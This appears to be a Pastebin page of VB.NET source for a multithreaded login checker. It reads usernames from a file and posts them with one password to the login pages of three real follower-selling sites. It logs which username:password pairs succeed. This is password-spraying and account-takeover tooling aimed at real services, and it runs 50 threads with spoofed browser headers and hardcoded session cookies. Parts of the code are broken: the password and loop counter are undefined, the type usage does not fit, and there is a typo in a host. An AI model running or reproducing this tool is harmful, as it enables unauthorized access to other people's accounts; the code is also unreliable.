Advertisement
a7m3dalbalawi

Form1

Mar 5th, 2018
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 7.68 KB | None | 0 0
  1. Imports System.Net
  2. Imports System.Net.HttpWebResponse
  3. Imports System.Threading.Thread
  4. Imports System.Threading
  5. Imports System.IO
  6. Imports System.Text.RegularExpressions
  7. Imports System.Text
  8.  
  9. Public Class Form1
  10.     Dim Threads2 As System.Threading.Thread
  11.     Public lockthis As Object = New Object
  12.  
  13.  
  14.  
  15.     Function login1(user As String, pass As String) As String
  16.         Dim lockthis As Object = Me.lockthis
  17.         SyncLock lockthis
  18.             Try
  19.  
  20.                 Dim postData As String = "username=" & user & "&password=" & pass
  21.  
  22.  
  23.                 Dim req As HttpWebRequest = DirectCast(WebRequest.Create("https://www.seononline.com/login?"), HttpWebRequest)
  24.                 req.Method = "POST"
  25.                 req.UserAgent = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
  26.                 req.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
  27.                 req.Headers.Add("x-requested-with", "XMLHttpRequest")
  28.                 req.Headers.Add("cookie", "_ga=GA1.2.1994962749.1519914438; _gid=GA1.2.1868073688.1519914438; 1f637d8d3bedea2ed44acbd159810225=f0733qs4g0rtb350rqavo77232; _gat=1")
  29.                 req.KeepAlive = True
  30.                 req.Headers.Add("Origin", "https://www.seononline.com")
  31.                 req.Referer = "https://www.seononline.com/login"
  32.                 Dim bytes As Byte() = Encoding.UTF8.GetBytes(postData)
  33.                 req.ContentLength = bytes.Length
  34.                 Dim reqs As Stream = req.GetRequestStream
  35.                 reqs.Write(bytes, 0, bytes.Length)
  36.                 reqs.Close()
  37.                 Dim respo As HttpWebResponse
  38.                 respo = DirectCast(req.GetResponse(), HttpWebResponse)
  39.                 Dim Reader As New StreamReader(respo.GetResponseStream)
  40.                 Dim page As String = Reader.ReadToEnd
  41.                 Return page
  42.  
  43.             Catch ex As Exception
  44.             End Try
  45.  
  46.         End SyncLock
  47.  
  48.     End Function
  49.  
  50.  
  51.     Function login2(user As String, pass As String) As String
  52.         Dim lockthis As Object = Me.lockthis
  53.         SyncLock lockthis
  54.             Try
  55.  
  56.                 Dim postData As String = "username=" & user & "&password=" & pass
  57.  
  58.  
  59.                 Dim req As HttpWebRequest = DirectCast(WebRequest.Create("https://takipde.net/giris?"), HttpWebRequest)
  60.                 req.Method = "POST"
  61.                 req.UserAgent = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
  62.                 req.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
  63.                 req.Headers.Add("x-requested-with", "XMLHttpRequest")
  64.                 req.Headers.Add("cookie", "__cfduid=dfcf3ef9fa0b16cf17712fd1f37a989cd1520071736; 4c4dffa6ab58e9c4adcdec6d8c436c29=oj89971bmc7skvg4rd6a3nts24")
  65.                 req.KeepAlive = True
  66.                 req.Headers.Add("Origin", "https://takipde.net")
  67.                 req.Referer = "https://takipde.net/giris"
  68.                 Dim bytes As Byte() = Encoding.UTF8.GetBytes(postData)
  69.                 req.ContentLength = bytes.Length
  70.                 Dim reqs As Stream = req.GetRequestStream
  71.                 reqs.Write(bytes, 0, bytes.Length)
  72.                 reqs.Close()
  73.                 Dim respo As HttpWebResponse
  74.                 respo = DirectCast(req.GetResponse(), HttpWebResponse)
  75.                 Dim Reader As New StreamReader(respo.GetResponseStream)
  76.                 Dim page As String = Reader.ReadToEnd
  77.                 Return page
  78.  
  79.             Catch ex As Exception
  80.             End Try
  81.  
  82.         End SyncLock
  83.  
  84.     End Function
  85.  
  86.  
  87.     Function login3(user As String, pass As String) As String
  88.         Dim lockthis As Object = Me.lockthis
  89.         SyncLock lockthis
  90.             Try
  91.  
  92.                 Dim postData As String = "username=" & user & "&password=" & pass
  93.  
  94.  
  95.                 Dim req As HttpWebRequest = DirectCast(WebRequest.Create("http://instagrambegenin.com/giris?"), HttpWebRequest)
  96.                 req.Method = "POST"
  97.                 req.UserAgent = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
  98.                 req.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
  99.                 req.Headers.Add("x-requested-with", "XMLHttpRequest")
  100.                 req.Headers.Add("cookie", "4eac5422712765af9919b427aa38ce0e=eh9eojt5ji3gemiuedv26so5r0")
  101.                 req.KeepAlive = True
  102.                 req.Headers.Add("Origin", "http://instagrambegenin.comm")
  103.                 req.Referer = "http://instagrambegenin.com/giris"
  104.                 Dim bytes As Byte() = Encoding.UTF8.GetBytes(postData)
  105.                 req.ContentLength = bytes.Length
  106.                 Dim reqs As Stream = req.GetRequestStream
  107.                 reqs.Write(bytes, 0, bytes.Length)
  108.                 reqs.Close()
  109.                 Dim respo As HttpWebResponse
  110.                 respo = DirectCast(req.GetResponse(), HttpWebResponse)
  111.                 Dim Reader As New StreamReader(respo.GetResponseStream)
  112.                 Dim page As String = Reader.ReadToEnd
  113.                 Return page
  114.  
  115.             Catch ex As Exception
  116.             End Try
  117.  
  118.         End SyncLock
  119.  
  120.     End Function
  121.  
  122.  
  123.  
  124.     Sub log(i As Integer)
  125.    
  126.         do
  127.             try
  128.                 dim temp as new stringbuilder()
  129.                 temp.append(users(i))
  130.                 users.Items.RemoveAt(i) // Here the username to write it to function
  131.                
  132.                
  133.                 If loops <= 3 Then
  134.                             If login1(temp.tostring(), pass).ToString.Contains("status"":""success"",""returnUrl"":""\/tools") Then
  135.  
  136.                                 TextBox2.AppendText(temp.tostring() + ":" + pass + vbCrLf)
  137.  
  138.                             Else
  139.  
  140.                                 TextBox1.AppendText(temp.tostring() + ":" + pass + vbCrLf)
  141.  
  142.                             End If
  143.                         ElseIf loops <= 6 Then
  144.                             If login2(temp.tostring(), pass).ToString.Contains("{""status"":""success"",""returnUrl"":""\/home""}") Then
  145.  
  146.                                 TextBox2.AppendText(temp.tostring() + ":" + pass + vbCrLf)
  147.  
  148.                             Else
  149.  
  150.                                 TextBox1.AppendText(temp.tostring() + ":" + pass + vbCrLf)
  151.  
  152.                             End If
  153.                         ElseIf loops <= 9 Then
  154.                             If login2(temp.tostring(), pass).ToString.Contains("{""status"":""success"",""returnUrl"":""\/tools""}") Then
  155.  
  156.                                 TextBox2.AppendText(temp.tostring() + ":" + pass + vbCrLf)
  157.  
  158.                             Else
  159.  
  160.                                 TextBox1.AppendText(temp.tostring() + ":" + pass + vbCrLf)
  161.  
  162.                             End If
  163.  
  164.                         End If
  165.                         If loops > 9 Then
  166.                         loops = 1
  167.                     Else
  168.                         loops += 1
  169.                     End If
  170.                
  171.                
  172.             catch : exit do : end try
  173.         loop
  174.  
  175.     End Sub
  176.     Dim th As Thread
  177.  
  178.     Sub Start()
  179.         for i as integer = 1 to 50
  180.             dim t as new threading.thread(addressof log)
  181.             t.isbackground = true
  182.             t.start(i)
  183.             threading.thread.sleep(300)
  184.         next
  185.     End Sub
  186.  
  187.     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  188.  
  189.         th = New Thread(AddressOf Start)
  190.         th.IsBackground = True
  191.         th.Start()
  192.  
  193.     End Sub
  194.     Dim users As new listbox()
  195.  
  196.     Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
  197.         End
  198.     End Sub
  199.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  200.         CheckForIllegalCrossThreadCalls = False
  201.         users = File.ReadAllLines("user.txt")
  202.  
  203.     End Sub
  204.  
  205. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement